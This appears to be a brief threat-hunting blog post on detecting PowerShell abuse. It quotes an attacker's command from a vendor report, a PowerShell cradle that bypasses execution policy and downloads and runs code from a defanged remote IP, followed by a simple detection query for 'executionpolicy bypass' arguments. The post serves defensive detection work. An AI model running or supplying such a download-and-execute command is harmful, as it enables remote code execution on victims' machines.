322. Is It Easy to Detect a PowerShell Abuse?

Hello everyone!

We often talking about PowerShell. Yes, adversaries love it. But is it difficult to detect it? Let's find out!

As always, we need an example, so let's check a report by eSentire. The adversary executed the following command:

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('hxxp://87.120.219[.]26/P9m4H7S2FqDTof')"

What can we learn from it? The threat actors use some intersting command line arguments, and we can use it for hunting, of course:

event_type: "processcreatewin"

AND

proc_file_path: "powershell.exe"

AND

cmdline: ("executionpolicy" AND "bypass")

It's just an example, but usually adveraries use quite limited number of suspicious arguments - make sure to document it!

See you tomorrow!

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